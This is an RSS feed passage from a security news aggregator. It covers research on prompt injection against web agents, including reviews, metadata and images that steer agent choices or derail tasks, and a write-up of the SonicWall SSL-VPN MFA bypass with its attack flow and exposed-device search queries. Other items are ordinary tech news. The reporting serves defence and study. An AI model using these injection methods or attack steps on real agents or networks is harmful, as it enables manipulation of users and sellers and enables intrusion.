<guid isPermaLink="true">https://tsecurity.de/de/3593083/it-security-nachrichten/prompt-injection-breaks-todays-ai-agents-study-warns/</guid>
<pubDate>Fri, 12 Jun 2026 12:12:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Today’s AI web agents have no dependable defenses against prompt injection, according to new research showing that not a single attack scenario was consistently blocked across leading systems powered by GPT‑5 and Gemini.</p>



<p>The findings come from StakeBench, a stakeholder-centric benchmark developed by researchers from Nanyang Technological University, ST Engineering, IBM Research, and the University of Illinois Urbana-Champaign to evaluate prompt injection attacks against AI agents operating in realistic web environments.</p>



<p>The researchers executed 3,168 adversarial runs across NanoBrowser and BrowserUse using 264 benchmark cases. Indirect prompt injection attacks, where malicious instructions are hidden inside ordinary web content such as product reviews and metadata, achieved attack success rates ranging from 41.67% to 68.16%, while direct prompt injection exceeded 79% across all tested configurations.</p>



<p>“Crucially, these failures exhibit distinct patterns when analysed through a stakeholder lens: some attacks succeed without disrupting the user’s delegated task while disproportionately harming third parties (stealthy parasitism), whereas others disrupt task completion without realizing the adversarial objective (misaligned disruption),” <a href="https://arxiv.org/html/2606.13385v1" target="_blank" rel="noreferrer noopener">the researchers wrote in a paper</a>.</p>



<p>OpenAI and Google did not immediately respond to requests for comment.</p>



<h2 class="wp-block-heading">Every attack objective exposed at least one failure mode</h2>



<p>The benchmark evaluated web agents across four possible outcomes: Robust Behavior, Stealthy Parasitism, Misaligned Disruption, and Compounded Failure. Robust Behavior represents the ideal state in which an agent completes a user’s task without advancing an attacker’s objective or exhibiting execution instability.</p>



<p>The researchers argue that the findings reveal a broader problem than high attack success rates.</p>



<p>“The Robust Behavior region remains unpopulated across all evaluated configurations,” they wrote, meaning every tested attack objective resulted in at least one meaningful failure dimension, whether successful adversarial manipulation, disruption of the user’s intended task, or execution instability.</p>



<p>The authors say this demonstrates that “prompt-injection vulnerability in deployable web agents cannot be characterized by any single metric in isolation,” because attack success and task disruption are “weakly coupled in practice.”</p>



<h2 class="wp-block-heading">Attacks can succeed while users see nothing wrong</h2>



<p>One of the failure modes identified by the benchmark is what the researchers call “stealthy parasitism,” in which an AI agent completes the user’s delegated task while simultaneously advancing an attacker’s objective.</p>



<p>The paper illustrates the risk with an online shopping scenario: “A malicious prompt injected into product reviews may bias an agent toward a specific item: although the user may still receive an acceptable recommendation, the same behaviour can disadvantage competing sellers and undermine platform integrity.”</p>



<p>The researchers argue that prompt injection has evolved into “a system-level security problem with multi-party harm,” rather than a model safety issue affecting only the end user.</p>



<h2 class="wp-block-heading">Different stakeholders face different risks</h2>



<p>Unlike existing benchmarks that primarily measure attack success, StakeBench evaluates harm across three stakeholder groups: end users, third-party sellers, and platforms.</p>



<p>The results show that those groups experience materially different risks.</p>



<p>Seller-targeted attacks recorded the highest attack success rates across both evaluated web agents. User-targeted attacks, however, produced the lowest task deviation rates, suggesting they may be harder to detect because workflows continue to appear normal even when adversarial objectives are achieved.</p>



<p>According to the researchers, “the same agent can simultaneously appear stealthy on user-targeted attacks, susceptible on seller-targeted attacks, and unstable on platform-targeted attacks.”</p>



<p>That, they argue, makes “aggregate ASR alone insufficient to characterize stakeholder-specific vulnerability.”</p>



<h2 class="wp-block-heading">Models and architectures influence outcomes</h2>



<p>The benchmark also found meaningful differences between AI models and agent architectures.</p>



<p>Replacing GPT-5 with Gemini-2.5-Flash increased indirect prompt injection success rates by 26.49 percentage points on NanoBrowser and by 6.2 percentage points on BrowserUse, the paper said. BrowserUse also consistently exhibited higher task deviation and behavioral irregularity than NanoBrowser, it added.</p>



<p>According to the researchers, the findings suggested prompt injection resilience depends not only on the language model but also on how it is implemented within an autonomous agent.</p>



<p>“These results indicate that prompt-injection security in deployable web agents is not a scalar property of the backbone model but a distribution of harm whose realisation is jointly determined by the affected stakeholder, the semantic alignment between the injected objective and the user’s task, and the architectural context in which the backbone is deployed,” the paper added.</p>



<h2 class="wp-block-heading">Images may emerge as the next attack vector</h2>



<p>The researchers also explored whether prompt injection could extend beyond text.</p>



<p>In a preliminary multimodal experiment, they modified only a product image while leaving accompanying text, ratings, and page structure unchanged. The manipulated product’s selection rate increased from 10% to 76.67% without rating signals, suggesting visual content alone may significantly influence AI agent decisions.</p>



<p>While the experiment was limited in scope, the researchers said the results indicate “the IPI surface relevant to deployable web agents may extend beyond textual channels to visual ones,” pointing to another emerging attack vector as enterprises increasingly deploy autonomous AI systems.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond the Patch: Understanding the SonicWall SSL-VPN MFA Bypass Exposure]]></title>
<description><![CDATA[In May 2026, ransomware-linked attacks associated with CVE-2024–12802 targeting SonicWall Gen6 SSL-VPN devices regained attention. The vulnerability stems from a structural flaw in how SSL-VPN authentication handles UPN (User Principal Name) and SAM (Security Account Manager) account formats sepa...]]></description>
<link>https://tsecurity.de/de/3592764/hacking/beyond-the-patch-understanding-the-sonicwall-ssl-vpn-mfa-bypass-exposure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592764/hacking/beyond-the-patch-understanding-the-sonicwall-ssl-vpn-mfa-bypass-exposure/</guid>
<pubDate>Fri, 12 Jun 2026 09:33:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-XKDSchub9GnWNKkvYxZqA.png"></figure><p>In May 2026, ransomware-linked attacks associated with CVE-2024–12802 targeting SonicWall Gen6 SSL-VPN devices regained attention. The vulnerability stems from a structural flaw in how SSL-VPN authentication handles UPN (User Principal Name) and SAM (Security Account Manager) account formats separately. In certain environments, attackers can exploit alternative login formats to bypass MFA even when MFA appears to be enabled.</p><p>What makes this vulnerability particularly dangerous is that it is not simply a patching issue. SonicWall’s official advisory states that Gen6 devices require an additional six-step manual LDAP reconfiguration after firmware updates. However, standard patch management workflows typically verify only firmware versions and do not confirm whether the manual reconfiguration has been completed. As a result, administrators may believe their devices are protected while vulnerable LDAP configurations remain active. Furthermore, MFA bypass attempts in these attacks are logged as seemingly legitimate MFA successes, making detection significantly more difficult for security teams.</p><p>This article analyzes the technical root cause and attack flow of CVE-2024–12802 and examines why externally exposed VPN devices can become initial access vectors for ransomware operations.</p><h3>Understanding CVE-2024–12802: An Overview of the Vulnerability</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*o617MtYlq_uifyDS"></figure><p>CategoryDescriptionVulnerability IDCVE-2024–12802Affected ProductSonicWall SSL-VPNVulnerability TypeMFA Authentication Bypass — CWE-305(Authentication Bypass by Primary Weakness)CVSS Score9.1 (Critical)Exploitation StatusRansomware-linked attacks observed across multiple environments in Feb–Mar 2026</p><p>CVE-2024–12802 occurs due to the way SonicWall SSL-VPN handles different account name formats in Active Directory environments. Users can typically authenticate using either:</p><ul><li>UPN format (user@domain.com)</li><li>SAM format (DOMAIN\username)</li></ul><p>The issue is that MFA policies may be applied separately to each login format rather than to the user identity itself. An administrator may configure MFA enforcement for one login format while leaving another authentication path insufficiently protected. Attackers who obtain valid credentials can then authenticate through the weaker login path without triggering MFA.</p><h3><strong>Analyzing the Root Cause: Separate MFA Validation Paths for UPN and SAM</strong></h3><p>The UPN (User Principal Name) format resembles an email address such as user@domain.com. The SAM (Security Account Manager) format follows the legacy Windows domain login style: DOMAIN\username. Although both formats reference the same user account, SonicWall processes them as entirely separate authentication paths. MFA is configured independently for each login flow rather than being tied directly to the user identity. If MFA is configured only for the SAM path, the UPN path may remain unprotected, allowing successful authentication with only valid credentials and no second-factor verification.</p><p>For Gen6 devices, firmware updates patch the vulnerable code but do not modify existing LDAP configurations. If the legacy LDAP configuration using userPrincipalName remains intact, MFA bypass through the UPN path remains possible even after updating. Although SonicWall explicitly documented this behavior in its advisory, standard patch management systems generally verify only firmware versions, not whether manual LDAP reconfiguration was completed.</p><p>As a result:</p><ul><li>Devices appear fully updated</li><li>Version checks pass</li><li>MFA appears enabled</li></ul><p>Yet the environment may still remain vulnerable.</p><h3>Mapping the Attack Flow Behind the Vulnerability</h3><p>A typical attack flow exploiting CVE-2024–12802 may proceed as follows:</p><ol><li>Identification of internet-exposed SSL-VPN devices<br>Attackers scan the internet for accessible SonicWall SSL-VPN portals using login pages, SSL-VPN ports, device banners, and authentication page titles.</li><li>Credential acquisition and login attempts<br>Attackers leverage leaked credentials, reused passwords, brute-force attempts, or credentials obtained from prior compromises.</li><li>Exploitation of MFA bypass paths<br>Attackers abuse differences in UPN/SAM authentication handling to access login paths where MFA enforcement is incomplete. Logs may still appear to show legitimate MFA activity, delaying detection.</li><li>Internal network reconnaissance<br>After VPN access is obtained, attackers rapidly enumerate internal IP ranges, file servers, domain-joined systems, and remotely accessible servers.</li><li>Credential reuse and privilege escalation<br>Shared local administrator accounts, weak passwords, and reused credentials are leveraged to expand access within the environment.</li><li>Transition into ransomware pre-deployment operations<br>Attackers deploy remote administration tools, privilege escalation utilities, and security bypass techniques to prepare for future ransomware deployment.</li></ol><p>One of the most important aspects of this attack chain is its speed. Internal reconnaissance and access to file servers may occur within minutes after VPN access is established. If SSL-VPN devices are externally exposed and account protection policies are incomplete, attackers can leverage a single vulnerability as the starting point for full internal compromise.</p><h3>Discovering Publicly Accessible SonicWall SSL-VPN Systems with Criminal IP</h3><p>To assess the real-world exposure of SonicWall SSL-VPN devices, externally identifiable service indicators can be used to analyze the attack surface. Criminal IP Asset Search was used to observe internet-exposed SonicWall SSL-VPN assets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*w99EA21_eqdqKtuf"></figure><blockquote>Criminal IP Search Query: <a href="https://search.criminalip.io/asset/search?query=product%3A+sonicwall+ssl-vpn+web+server">product: sonicwall ssl-vpn web server</a></blockquote><p>This query identifies SonicWall SSL-VPN web server assets accessible from the public internet. As of May 2026, approximately 6,250 instances were identified. These assets indicate environments where SSL-VPN login portals or related services are externally identifiable. Since SonicWall SSL-VPN functions as an authentication gateway into internal networks, exposed devices provide attackers with opportunities to:</p><ul><li>Identify VPN portals</li><li>Attempt credential stuffing</li><li>Reuse leaked credentials</li><li>Test MFA bypass conditions</li></ul><p>In vulnerabilities such as CVE-2024–12802, where weaknesses in MFA handling can be exploited, simple external accessibility itself becomes a key factor determining exploitability. Even if devices run the latest firmware, Gen6 systems remain vulnerable if LDAP reconfiguration has not been completed. Even if devices run the latest firmware, Gen6 systems remain vulnerable if LDAP reconfiguration has not been completed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*7xLXsE3gfmLyjVeN"></figure><blockquote>Criminal IP Search Query: <a href="https://search.criminalip.io/asset/search?query=product%3A+sonicwall+ssl-vpn+web+server+ssl_expired%3A+true">product: sonicwall ssl-vpn web server ssl_expired: true</a></blockquote><p>This query identifies internet-facing SonicWall SSL-VPN web servers using expired SSL certificates. As of May 2026, approximately 1,200 assets were identified. While expired SSL certificates do not directly indicate exploitability of CVE-2024–12802, they may signal:</p><ol><li>Insufficient Security Maintenance and Operational Oversight<br>SSL certificate renewal is one of the most basic operational management tasks. Therefore, devices left exposed with expired certificates may also indicate that other security measures, such as firmware updates, LDAP reconfiguration, and MFA policy reviews, have been neglected.</li><li>Weak Security Awareness Against Phishing and Man-in-the-Middle Attacks<br>If certificate warnings repeatedly appear on VPN login pages, legitimate users may become accustomed to ignoring them. This behavior can significantly increase the risk of credential theft and phishing-related compromise.</li><li>Potential Prioritization as an Attack Target<br>If an externally exposed SSL-VPN device is operating with an expired certificate, it may indicate that the asset has been deprioritized in security operations or left unmanaged for an extended period of time.</li></ol><p>For this reason, such assets should be prioritized for review in relation to CVE-2024–12802. In Gen6 environments especially, simply verifying firmware updates is not sufficient. Organizations must also confirm completion of LDAP reconfiguration, removal of cached LDAP users, reset of SSL-VPN User Domain settings, device reboot, and creation of new clean backups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*5XpaYl9obtjlw3Xd"></figure><p>Detailed analysis of one externally exposed asset identified by Criminal IP revealed:</p><ul><li>High overall risk classification</li><li>73 open ports</li><li>248 vulnerabilities</li><li>39 Exploit DB references</li></ul><p>This demonstrates that the issue extends beyond a simple exposed VPN portal. Multiple exposed services and vulnerabilities create an environment where attackers can explore additional attack vectors beyond VPN access itself. Such assets may become effective initial access points for internal compromise when authentication bypass vulnerabilities such as CVE-2024–12802 are present.</p><p>This individual asset analysis demonstrates that assessing SonicWall SSL-VPN risk requires more than simply checking whether a VPN portal is exposed. Organizations should evaluate multiple factors together, including external accessibility, threat level, number of open ports, associated vulnerabilities, SSL certificate status, and hosting environment context, to establish realistic attack-priority assessments. Ultimately, the core challenge in responding to CVE-2024–12802 is not merely verifying whether patches were applied, but continuously identifying externally exposed assets that attackers can realistically discover and access.</p><h3>Security Mitigation Guidance and Best Practices</h3><p>The most critical aspect of CVE-2024–12802 remediation is understanding that, for Gen6 devices, firmware updates alone may not fully resolve the issue. Even with the latest firmware installed, MFA bypass may remain possible if legacy LDAP configurations are still present. Organizations must therefore complete the manual remediation steps described in the official advisory. While Gen7 and Gen8 devices receive the necessary protections through firmware updates, Gen6 devices may retain vulnerable LDAP configurations and require separate manual reconfiguration.</p><p>Organizations operating Gen6 SonicWall SSL-VPN devices should prioritize the following checks:</p><ul><li>Verify the latest firmware version is installed</li><li>Remove legacy LDAP configurations using userPrincipalName</li><li>Clear cached LDAP users</li><li>Remove SSL-VPN User Domain settings</li><li>Reconfigure LDAP settings after rebooting the device</li><li>Create new backups to avoid restoring vulnerable legacy configurations</li></ul><p>Organizations should also monitor VPN authentication logs for indicators such as:</p><ul><li>sess="CLI" session types</li><li>Event IDs 238 and 1080</li><li>Abnormal VPS/VPN-based login attempts</li><li>Repeated authentication attempts within short time periods</li></ul><p>These signals may serve as important indicators of automated VPN attacks or MFA bypass attempts. Because Gen6 devices officially reached end-of-support status on April 16, 2026, organizations should immediately perform manual remediation and log review in the short term, while planning migration to supported hardware in the long term. Rather than treating patch verification alone as sufficient remediation, organizations must also verify completion of configuration rework and investigate potential signs of compromise.</p><h3>Conclusion</h3><p>The CVE-2024–12802 incident is a textbook example showing that “being patched” does not necessarily mean “being protected.” The vulnerability itself was disclosed in 2024, and firmware patches were released shortly afterward. However, a combination of incomplete remediation, the hidden requirement for a six-step manual reconfiguration process, and the structural limitation that standard patch management workflows do not verify completion of manual remediation left many organizations believing they were protected when they were not.</p><p>The key lessons from this incident are clear: having MFA enabled and running the latest firmware does not guarantee actual security, and traces left by attackers may be indistinguishable from legitimate activity in normal logs. Organizations should immediately verify where SonicWall Gen6 devices are deployed, whether the six-step reconfiguration process has been completed, and whether indicators such as sess="CLI" are present in authentication logs.</p><p>In relation to this, you can refer to <a href="https://www.criminalip.io/knowledge-hub/blog/34850">CVE-2026–41940: Analysis of the cPanel Authentication Bypass Vulnerability</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=35b0627ceac2" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/beyond-the-patch-understanding-the-sonicwall-ssl-vpn-mfa-bypass-exposure-35b0627ceac2">Beyond the Patch: Understanding the SonicWall SSL-VPN MFA Bypass Exposure</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why You Might Already Own SpaceX Shares, Siri’s AI Makeover, and Knicks Owner’s Surveillance Machine]]></title>
<description><![CDATA[Today on Uncanny Valley, we take an early look at the SpaceX IPO and why you might find yourself among the investors without even realizing it.]]></description>
<link>https://tsecurity.de/de/3592070/it-nachrichten/why-you-might-already-own-spacex-shares-siris-ai-makeover-and-knicks-owners-surveillance-machine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592070/it-nachrichten/why-you-might-already-own-spacex-shares-siris-ai-makeover-and-knicks-owners-surveillance-machine/</guid>
<pubDate>Fri, 12 Jun 2026 01:46:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Today on Uncanny Valley, we take an early look at the SpaceX IPO and why you might find yourself among the investors without even realizing it.]]></content:encoded>
</item>
<item>
<title><![CDATA[[$] LWN.net Weekly Edition for June 11, 2026]]></title>
<description><![CDATA[Inside this week's LWN.net Weekly Edition:
        
        
 Front: Suspicious AI activity in Fedora; fork() + exec(); splice() + vmsplice(); BPF loop verification; fanotify; trusted publishing.
             Briefs: CA age bill; Bundler cooldowns; insecure code completion; Asahi and macOS 27 bet...]]></description>
<link>https://tsecurity.de/de/3589261/linux-tipps/lwnnet-weekly-edition-for-june-11-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3589261/linux-tipps/lwnnet-weekly-edition-for-june-11-2026/</guid>
<pubDate>Thu, 11 Jun 2026 02:24:49 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Inside this week's LWN.net Weekly Edition:
        <p>
        </p><ul>
<li> <a href="https://lwn.net/Articles/1076254/">Front</a>: Suspicious AI activity in Fedora; fork() + exec(); splice() + vmsplice(); BPF loop verification; fanotify; trusted publishing.
            </li><li> <a href="https://lwn.net/Articles/1076256/">Briefs</a>: CA age bill; Bundler cooldowns; insecure code completion; Asahi and macOS 27 beta; Buildroot 2026.05; Ubuntu MATE; rsync 3.4.4; Quotes; ...
            </li><li> <a href="https://lwn.net/Articles/1076257/">Announcements</a>: Newsletters, conferences, security updates, patches, and more.
            </li></ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Researchers say they trained a foundation model from scratch for about $1,500]]></title>
<description><![CDATA[Training a foundation LLM from scratch costs millions and requires internet-scale data — which is why most enterprises don't bother. Sapient thinks it has a cheaper path.To overcome this brute-force scaling dogma, researchers at Sapient developed HRM-Text, which replaces standard Transformers wit...]]></description>
<link>https://tsecurity.de/de/3589120/it-nachrichten/researchers-say-they-trained-a-foundation-model-from-scratch-for-about-1500/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3589120/it-nachrichten/researchers-say-they-trained-a-foundation-model-from-scratch-for-about-1500/</guid>
<pubDate>Thu, 11 Jun 2026 00:47:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Training a foundation LLM from scratch costs millions and requires internet-scale data — which is why most enterprises don't bother. Sapient thinks it has a cheaper path.</p><p>To overcome this brute-force scaling dogma, researchers at Sapient developed <a href="https://github.com/sapientinc/HRM-Text">HRM-Text</a>, which replaces standard Transformers with a highly sample-efficient Hierarchical Recurrent Model (HRM), an architecture they <a href="https://venturebeat.com/ai/new-ai-architecture-delivers-100x-faster-reasoning-than-llms-with-just-1000-training-examples">first introduced last year</a>.</p><p>HRM decouples computation into slow-evolving strategic and fast-evolving execution layers. Instead of brute-force autoregressive prediction on raw text, HRM-Text trains exclusively on instruction-response pairs. This is close to real-world enterprise settings, where users usually expect a targeted answer to a specific task.</p><p>The researchers were able to train a 1B-parameter HRM-Text from scratch at a fraction of the cost and tokens of normal LLMs. Their model achieved performance competitive with much larger open models on key industry benchmarks.</p><p>For real-world AI applications, this means foundational pretraining is no longer restricted to highly resourced institutions. With HRM-Text, organizations can affordably pretrain their own highly capable reasoning models from scratch and pair them with external knowledge stores.</p><h2>The training bottleneck</h2><p>When we train an LLM, we don't actually care if it has memorized the exact sequence of words in a random 2014 Reddit thread. What we want is for the model to develop a deep, underlying understanding of human language, logic, facts, and reasoning.</p><p>The current approach is brute force: scrape the internet, run next-token prediction trillions of times, and assume the model has developed a working internal model of the world.</p><p>Basically, this means that we waste millions of dollars of computing power forcing models to memorize everything collected from the internet, just so they can indirectly learn how to think. For example, standard decoder-only models spend valuable compute assigning loss to reconstruct the prompt itself, even though the user's prompt is already known and provided at inference time.</p><p>Instead of simply viewing this as a computational hurdle, the industry must recognize it as a severe business limitation. In comments provided to VentureBeat, Guan Wang, CEO of Sapient Intelligence, framed this as an issue of the "economics of iteration."</p><p>"Enterprises today face three compounding problems: training is expensive, infrastructure is heavy, and experimentation cycles are too slow," Wang said. "The industry’s scaling addiction says: 'When the model fails, make it bigger. Add more data. Add more GPUs.' That has worked, but it is reaching a point of diminishing returns. More scale often means more memorization, more latency, more infrastructure, and more vendor dependency. It does not necessarily give an enterprise a better reasoning engine."</p><p>This architectural and computational inefficiency is exactly why fine-tuning existing dense transformers isn't always the silver bullet for enterprises. Fine-tuning to preserve a model's general capabilities often requires mixing substantial general-purpose data into the process, making it computationally heavy and difficult to control.</p><p>"Imagine a hedge fund, insurer, or bank that has highly proprietary data: internal research notes, transaction logic, compliance rules, analyst memos, risk models, portfolio constraints," Wang said. "They may not want to send that data to an external frontier model, and they may not need a giant general-purpose model that memorized the internet. What they need is a compact reasoning core that can learn their task structure, reason across rules and numbers, and run in a controlled environment."</p><p>Because HRM-Text focuses its computation strictly on task completion and latent reasoning, it allows enterprises to start with a smaller, smarter model and adapt it to a proprietary domain with far less infrastructure.</p><h2>Rethinking architectures with HRM-Text</h2><p>HRM, which was introduced in 2025, represents a fundamental departure from traditional Transformer models. To build a more sample-efficient engine, HRM decouples computation into slow-evolving strategic and fast-evolving execution layers. The fast L-module performs local iterative refinement, while the slow H-module maintains stable semantic context across cycles. Processing consists of two high-level cycles, where each cycle executes three fast L-module updates followed by a single slow H-module update.</p><p>Standard parameter-shared recurrent architectures (like <a href="https://venturebeat.com/ai/samsung-ai-researchers-new-open-reasoning-model-trm-outperforms-models-10">Samsung's TRM</a>) can sometimes handle small logic puzzles, but the Sapient researchers found they become highly unstable when scaled to 1-billion parameters for language tasks. The separation between HRM's slow H-module and fast L-module is mathematically necessary, not just an aesthetic choice. As Wang said: "For logic grids, you can sometimes get away with a tiny recursive mechanism because the world is clean and bounded. Language is not like that. Language needs both fast local refinement and slow semantic stability."</p><p>While the original HRM proved highly effective for controlled, symbolic reasoning problems, the researchers hit a wall when applying it to the massive, open-ended complexities of generalized language modeling. While HRM's loops make it an incredibly efficient thinker, those same loops make it mathematically volatile to train on the diverse chaos of human language. Running recurrent loops on language creates massive mathematical instability, specifically, exploding or vanishing gradients.</p><p>To prevent this feedback loop in the neural network, the researchers introduced two key architectural innovations in HRM-Text. First, they developed MagicNorm, a specialized normalization technique designed specifically to keep the internal signals stable, no matter how many times the model loops its thought process.</p><p>Second, they designed a warm-up method to stabilize training. During early training, the model is only evaluated on short, shallow reasoning loops. As training progresses, the system warms up, gradually giving the model deeper and longer reasoning sequences.</p><p>They also switched the training objective from next-token prediction to task completion, where the model is rewarded only on the full response as opposed to individual tokens it generates. To achieve this goal, they changed the training data of HRM-Text from raw text to instruction-response pairs only.</p><h2>HRM-Text in action</h2><p>The researchers built a highly compact 1-billion-parameter HRM-Text model. Instead of using the standard multi-stage pipeline that requires churning through trillions of words of raw internet text, they trained it from scratch on a tightly curated dataset of just 40 billion tokens. The training data consisted entirely of instruction-response pairs across general instructions, math, symbolic logic, textbook exercises, and rewritten knowledge.</p><p>They trained the model using the task-completion objective. To force the model to rely on its internal hierarchical architecture rather than copying step-by-step logic, they explicitly stripped out "thinking" tokens from the training data.</p><p>The model was evaluated across a diverse suite of standard foundational AI benchmarks, heavily indexing on knowledge, reasoning, logic, math, and comprehension. The researchers tested HRM-Text against both small models and highly-resourced open-weight and fully open models.</p><p>The results show a significant shift in the compute-to-performance frontier. The 1B-parameter HRM-Text achieved 60.7% on MMLU, 84.5% on GSM8K, and 56.2% on MATH. This performance is highly competitive with (and in several cases surpasses) the 2B to 7B parameter foundation models it was tested against.</p><p>The most important takeaway for the enterprise audience lies in the efficiency statistics and practical implications. Pretraining a foundation model from scratch is typically a multi-million dollar endeavor reserved for tech giants. HRM-Text was trained in just 1.9 days on a cluster of 16 GPUs. The total estimated compute cost was roughly $1,500. It achieved its competitive scores using 100 to 900 times fewer training tokens and 96 to 432 times less estimated compute than models like Qwen, Gemma, and Llama.</p><p>Another important point is the decoupling of reasoning from knowledge memorization. From a practical standpoint, HRM-Text's success on reasoning-heavy tasks despite its tiny 40B-token training diet proves that a model does not need to memorize the entire internet to become a smart reasoning engine.</p><p>For enterprise applications, this behavior is a feature, not a bug. The researchers suggest a future where businesses deploy highly compact, incredibly cheap recurrent models that act as the "reasoning core" specialized for business logic. Instead of forcing the model to memorize company databases during pretraining, the model acts as the reasoning engine, relying on external retrieval systems to fetch factual knowledge.</p><p>Critics have pointed out that training on instruction-response pairs makes comparisons against models trained on raw text an "apples-to-oranges" scenario. Wang pushes back on this framing, pointing out that every serious modern LLM sees instruction-response data during training or alignment. "So the comparison is not apples-to-oranges. It is closer to apple cores-and-apples. We started directly from the core task format because that is how people actually use models: they give an instruction and expect a useful response," he said.</p><p>The researchers also ran rigorous contamination tests to ensure the model wasn't simply memorizing benchmark answers. On DROP, the one benchmark showing a marginal contamination signal under a specific setting, HRM-Text still scored an impressive 81.1% on a strictly clean, 0% contamination subset.</p><p>Ultimately, Wang argues that for enterprises, "the right evaluation is not trivia recall. It is a workflow evaluation... Give HRM-Text a task like: multi-step financial reasoning, compliance logic, scientific workflow automation, structured extraction followed by reasoning."</p><h2>Practical implementation and the future of enterprise AI</h2><p>While the benchmark scores and cost efficiencies are striking, Sapient is clear about the model's current boundaries. The initial release is best viewed as a proof-of-concept, akin to early GPT releases, designed to showcase the architecture's unique advantages.</p><p>"Honestly, HRM-Text is not yet a plug-and-play ChatGPT replacement," Wang said. "It is a compact foundation language reasoning model. For an enterprise engineering team, the operational work is mainly around templates, mode selection, attention masking, and alignment."</p><p>For AI engineering teams looking to experiment, getting started requires some specific, but standard, text-generation discipline. The model lists native support in the Transformers library (requiring transformers &gt;= 5.9.0), and usage paths for vLLM and SGLang are actively being developed. The primary engineering task involves managing the PrefixLM design: production multi-turn chat applications will require careful KV-cache logic to ensure user prompts receive full bidirectional attention while the assistant's outputs remain causal.</p><p>"When the cost of training a capable reasoning model drops to around $1,500, AI stops being only an infrastructure question and becomes a strategy question," Wang said. "A Fortune 500 company no longer has to ask, ‘Can we afford a foundation model?’ It would ask, ‘What should our model know about our business, and what kind of reasoning should it be optimized for?’"</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Larson: Are insecure code completions a vulnerability?]]></title>
<description><![CDATA[Seth Larson, the Python Software Foundation's security
developer-in-residence, has written
about the difficulty in classifying insecure code completion in
the PyCharm IDE using
its Full
Line code completion plugin. Larson discovered that the plugin,
which uses a local "deep learning module" to of...]]></description>
<link>https://tsecurity.de/de/3588420/linux-tipps/larson-are-insecure-code-completions-a-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3588420/linux-tipps/larson-are-insecure-code-completions-a-vulnerability/</guid>
<pubDate>Wed, 10 Jun 2026 18:59:26 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Seth Larson, the Python Software Foundation's <a href="https://pyfound.blogspot.com/2023/06/announcing-our-new-security-developer.html">security
developer-in-residence</a>, has <a href="https://sethmlarson.dev/are-insecure-code-completions-a-vulnerability">written
about</a> the difficulty in classifying insecure code completion in
the <a href="https://www.jetbrains.com/pycharm/">PyCharm IDE</a> using
its <a href="https://www.jetbrains.com/help/pycharm/full-line-code-completion.html">Full
Line code completion</a> plugin. Larson discovered that the plugin,
which uses a local "deep learning module" to offer code completions,
suggests code that would lead to severe vulnerabilities. He was unsure
whether it warranted a CVE or not, however:</p>

<blockquote class="bq">
<p>I reported this behavior to JetBrains for "Full Line Code Completion" v253.29346.142
and clearly their support staff weren't certain whether this defect
was a security vulnerability or not either. When I asked to
publish a blog post about this behavior after they confirmed
this report wasn't a "direct security vulnerability" (which
I agree with) but then was asked not to publicize my report and referred to
PyCharm's <a href="https://www.jetbrains.com/legal/docs/terms/coordinated-disclosure/">Coordinated Disclosure Policy</a>
so... which is it? Security vulnerability or not?</p>

<p>I ended up waiting the 90 days anyway and I didn't hear back with
any substantive update from the development team. I double-checked
again today using "Full Line Code Completion" v261.24374.152 and the
behavior is identical, suggesting the same insecure code for both
contexts.</p>

<p>This isn't meant to be a specific dig at PyCharm or JetBrains, I
have no-doubt that examples like this exist in every code generation
model available.</p>
</blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patch Tuesday - June 2026]]></title>
<description><![CDATA[Microsoft is publishing 200 vulnerabilities on June 2026 Patch Tuesday. Microsoft is not aware of exploitation in the wild for any of these vulnerabilities, and is aware of public disclosure for three. This is similar to last month’s Patch Tuesday, however several of last month’s vulnerabilities ...]]></description>
<link>https://tsecurity.de/de/3586067/it-security-nachrichten/patch-tuesday-june-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3586067/it-security-nachrichten/patch-tuesday-june-2026/</guid>
<pubDate>Tue, 09 Jun 2026 23:52:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
